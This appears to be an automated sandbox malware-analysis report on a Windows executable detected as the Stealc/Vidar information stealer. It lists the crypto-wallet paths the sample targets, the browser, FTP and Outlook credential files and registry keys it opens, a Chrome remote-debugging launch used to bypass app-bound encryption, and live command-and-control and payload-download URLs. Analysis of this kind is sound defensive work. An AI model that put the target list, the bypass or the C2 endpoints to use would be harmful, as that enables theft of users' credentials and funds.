Source: file.exe, 00000000.00000002.2396751118.0000000000E34000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2396751118.0000000000E34000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2396751118.0000000000E34000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 6196, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2398221193.000000000198E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2396751118.0000000000DB1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2055599639.00000000053F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6196, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6196, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C840C40 sqlite3_bind_zeroblob,	0_2_6C840C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C840D60 sqlite3_bind_parameter_name,	0_2_6C840D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C768EA0 sqlite3_clear_bindings,	0_2_6C768EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C840B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	0_2_6C840B40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C766410 bind,WSAGetLastError,	0_2_6C766410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C766070 PR_Listen,	0_2_6C766070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C76C050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	0_2_6C76C050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C76C030 sqlite3_bind_parameter_count,	0_2_6C76C030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7660B0 listen,WSAGetLastError,	0_2_6C7660B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F22D0 sqlite3_bind_blob,	0_2_6C6F22D0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	1 Scheduled Task/Job	12 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	4 Obfuscated Files or Information	Security Account Manager	237 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	1 Registry Run Keys / Startup Folder	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	651 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	121 Masquerading	Cached Domain Credentials	23 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	23 Virtualization/Sandbox Evasion	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	12 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	37%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
http://185.215.113.206/c4becf79229cb002.php003	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpX0	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/softokn3.dlln	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.php7	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/sqlite3.dll_	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll)	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/nss3.dlli	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	162.159.61.3	true	false	high
plus.l.google.com	216.58.206.46	true	false	high
play.google.com	142.250.185.110	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	18.65.39.56	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
www.google.com	142.250.185.100	true	false	high
googlehosted.l.googleusercontent.com	142.250.186.161	true	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high
assets2.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
http://185.215.113.206/	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731358764074&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731358764065&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731358760996&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731358764822&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://play.google.com/log?format=json&hasfast=true	false	high
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0	false	high
https://clients2.googleusercontent.com/crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
http://185.215.113.16/mine/random.exe	false	high
https://sb.scorecardresearch.com/b?rn=1731358760998&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=1BD2121F17CE6DB91D24072B16C96CCE&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false	high
https://c.msn.com/c.gif?rnd=1731358760997&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=0c3054038b4c4f29955c63eaffb76002&activityId=0c3054038b4c4f29955c63eaffb76002&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=57EEA38E2A8F4411B12610F0A2EF9718&MUID=1BD2121F17CE6DB91D24072B16C96CCE	false	high
http://185.215.113.206/68b591d6548ec281/mozglue.dll	false	high
https://sb.scorecardresearch.com/b2?rn=1731358760998&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=1BD2121F17CE6DB91D24072B16C96CCE&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
http://185.215.113.206/68b591d6548ec281/msvcp140.dll	false	high
http://185.215.113.206/c4becf79229cb002.php	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731358762719&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://www.google.com/async/newtab_promos	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731358765072&w=0&anoncknm=app_anon&NoResponseBody=true	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2279395077.0000000023C23000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199884602.0000000001A4A000.00000004.00000020.00020000.00000000.sdmp, FCBFBGDB.0.dr, CFCGIIEH.0.dr, Web Data.8.dr	false		high
https://c.msn.com/	2cc80dabc69f58b6_1.8.dr	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2279395077.0000000023C23000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199884602.0000000001A4A000.00000004.00000020.00020000.00000000.sdmp, FCBFBGDB.0.dr, CFCGIIEH.0.dr, Web Data.8.dr	false		high
http://www.broofa.com	chromecache_482.4.dr	false		high
https://ntp.msn.com/0	000003.log10.8.dr	false		high
https://ntp.msn.com/_default	QuotaManager.8.dr	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	file.exe, 00000000.00000002.2423393913.0000000023C15000.00000004.00000020.00020000.00000000.sdmp, GHJJDGHCBGDHIECBGIDA.0.dr	false		high
https://deff.nelreports.net/api/report?cat=msn	2cc80dabc69f58b6_0.8.dr	false		high
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.8.dr	false		high
https://aefd.nelreports.net/api/report?cat=bingcsp	Reporting and NEL.9.dr	false		high
https://sb.scorecardresearch.com/	2cc80dabc69f58b6_1.8.dr	false		high
https://deff.nelreports.net/api/report	Reporting and NEL.9.dr	false		high
https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1	chromecache_484.4.dr	false		high
https://docs.google.com/	manifest.json0.8.dr	false		high
https://deff.nelreports.net/api/report?cat=msnw	Reporting and NEL.9.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpation	file.exe, 00000000.00000002.2396751118.0000000000F17000.00000040.00000001.01000000.00000003.sdmp	false		high
https://drive.google.com/	manifest.json0.8.dr	false		high
https://unitedstates4.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	false		high
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		high
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false		high
http://185.215.113.206/68b591d6548ec281/nss3.dlli	file.exe, 00000000.00000002.2398221193.00000000019E8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://drive-daily-2.corp.google.com/	manifest.json0.8.dr	false		high
https://drive-daily-4.corp.google.com/	manifest.json0.8.dr	false		high
https://srtb.msn.com/	2cc80dabc69f58b6_1.8.dr	false		high
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2279395077.0000000023C23000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2199884602.0000000001A4A000.00000004.00000020.00020000.00000000.sdmp, FCBFBGDB.0.dr, CFCGIIEH.0.dr, Web Data.8.dr	false		high
